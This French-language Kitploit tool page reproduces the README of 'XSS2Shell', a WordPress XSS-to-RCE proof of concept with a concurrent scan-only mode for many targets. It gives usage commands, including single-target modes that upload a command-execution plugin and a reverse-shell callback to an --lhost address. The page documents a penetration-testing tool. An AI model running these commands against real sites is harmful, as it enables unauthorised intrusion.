Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
XSS2Shell-CVE-2026-64638 — Scanner WordPress autorisé de type XSS-vers-RCE avec détection simultanée de réflexion XSS multi-cibles et d'empreinte de version, ainsi qu'un flux de travail d'exploitation optionnel. | Kitploit
Outils/GitHubGitHub/yogagymn/xss2shell-cve-2026-64638
ReconnaissanceScanners de Vulnérabilités WebExploitationExploitation d'Applications WebCollecte d'InformationsSécurité WebTests d'Intrusion
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
yogagymn/xss2shell-cve-2026-64638

XSS2Shell-CVE-2026-64638

Scanner WordPress autorisé de type XSS-vers-RCE avec détection simultanée de réflexion XSS multi-cibles et d'empreinte de version, ainsi qu'un flux de travail d'exploitation optionnel.

Voir le dépôt
132il y a 2 moisPas encore vérifié
Partager

Scanner multi-cibles XSS2Shell

Développeur : YogaGymn

Utilitaire PoC/scan pour des tests de sécurité WordPress autorisés. Le projet contient un workflow d'exploitation mono-cible et un mode multi-cibles concurrent scan-only.

Important : N'utilisez ce projet que sur des installations WordPress que vous possédez ou pour lesquelles vous disposez d'une autorisation explicite de test. Le scanner multi-cibles est intentionnellement limité à l'empreinte et à la détection de réflexion XSS ; il n'effectue pas de capture d'identifiants, d'upload de plugin ou de RCE contre une liste de cibles.

Fonctionnalités

Mode mono-cible

Le script original prend en charge :

  • L'empreinte de la version de WordPress.
  • La détection de réflexion XSS.
  • Les modes auto, xss et direct.
  • Le workflow d'authentification WordPress directe et d'upload de plugin.
  • La fonctionnalité de chaîne XSS présente dans le PoC original.
  • La fonctionnalité optionnelle de callback/reverse-shell présente dans le PoC original.

Mode multi-cibles

Le scanner ajouté prend en charge :

  • La lecture des cibles depuis un fichier texte.
  • La suppression des cibles en double.
  • Le scan concurrent avec ThreadPoolExecutor.
  • Un nombre de workers configurable.
  • La détection de la version de WordPress.
  • La détection de réflexion XSS.
  • Le rapport de progression.
  • L'enregistrement des résultats dans le même ordre que le fichier d'entrée.
  • Des statistiques récapitulatives.

Le mode multi-cibles n'appelle pas les fonctions RCE originales.

Prérequis

  • Python 3.9+
  • requests

Installez la dépendance :

python3 -m pip install requests

Si votre distribution Linux utilise un environnement Python géré de manière externe, utilisez un environnement virtuel :

python3 -m venv .venv
source .venv/bin/activate
pip install requests

Installation

Clonez ou copiez le projet :

git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

Ou placez simplement :

xss2shell.py

dans votre répertoire de travail.

Scanner multi-cibles

Créez un fichier nommé targets.txt :

https://example1.test
https://example2.test
https://example3.test

Les commentaires et les lignes vides sont ignorés :

# Authorized lab targets
https://example1.test

https://example2.test

Exécutez le scanner :

python3 xss2shell.py -i targets.txt

La concurrence par défaut est de 10 workers.

Modifier la concurrence

Par exemple, utilisez 20 workers :

python3 xss2shell.py -i targets.txt --workers 20

Pour un petit laboratoire :

python3 xss2shell.py -i targets.txt --workers 5

Ne choisissez pas un nombre de workers inutilement élevé, car cela peut augmenter la charge de connexions et déclencher un rate limiting ou des contrôles défensifs.

Modifier le fichier de sortie

python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

Exemple de sortie

[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

Format des résultats

Le fichier scan_results.txt par défaut utilise des champs séparés par des tabulations :

TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

Exemple :

https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

Valeurs de statut XSS


Statut Signification


XSS_REFLECTION_DETECTED Le scanner a détecté le comportement de réflexion HTML testé. Cela ne constitue pas en soi une preuve de RCE.

XSS_NOT_DETECTED La réflexion testée n'a pas été détectée.

ERROR La vérification a rencontré une exception.

Valeurs de détail XSS

Le scanner peut rapporter des détails tels que :

  • RAW_HTML
  • AREA_BYPASS
  • ESCAPED
  • STRIPPED
  • NOT_REFLECTED

Ces valeurs décrivent la réponse observée par la routine de détection ; elles doivent être validées manuellement avant de considérer un résultat comme une vulnérabilité confirmée.

Utilisation sur une cible unique

Le script original prend également en charge les arguments pour une cible unique.

Mode automatique

python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

Mode direct

python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

Mode XSS

python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

Les workflows XSS/direct peuvent créer ou activer un plugin contenant une fonctionnalité d'exécution de commandes. Ne les utilisez qu'à l'intérieur d'un environnement de test autorisé.

Référence CLI

usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

Arguments


Argument Description


target URL cible unique.

-i, --input Fichier contenant plusieurs cibles.

--output Fichier de sortie pour les résultats multi-cibles. Par défaut : scan_results.txt.

--workers Nombre de workers concurrents. Par défaut : 10.

--mode Mode original mono-cible : auto, xss, ou direct.

-u, --username Nom d'utilisateur WordPress pour le workflow direct/fallback original.

-p, --password Mot de passe WordPress pour le workflow direct/fallback original.

--lhost Hôte de callback/reverse-shell pour le PoC original.

--lport Port du reverse-shell. Par défaut : 4444.

--slug Slug du plugin. Par défaut : xss2shell.

--callback-port Port du serveur de callback. Par défaut : 9090.

Télécharger l’outil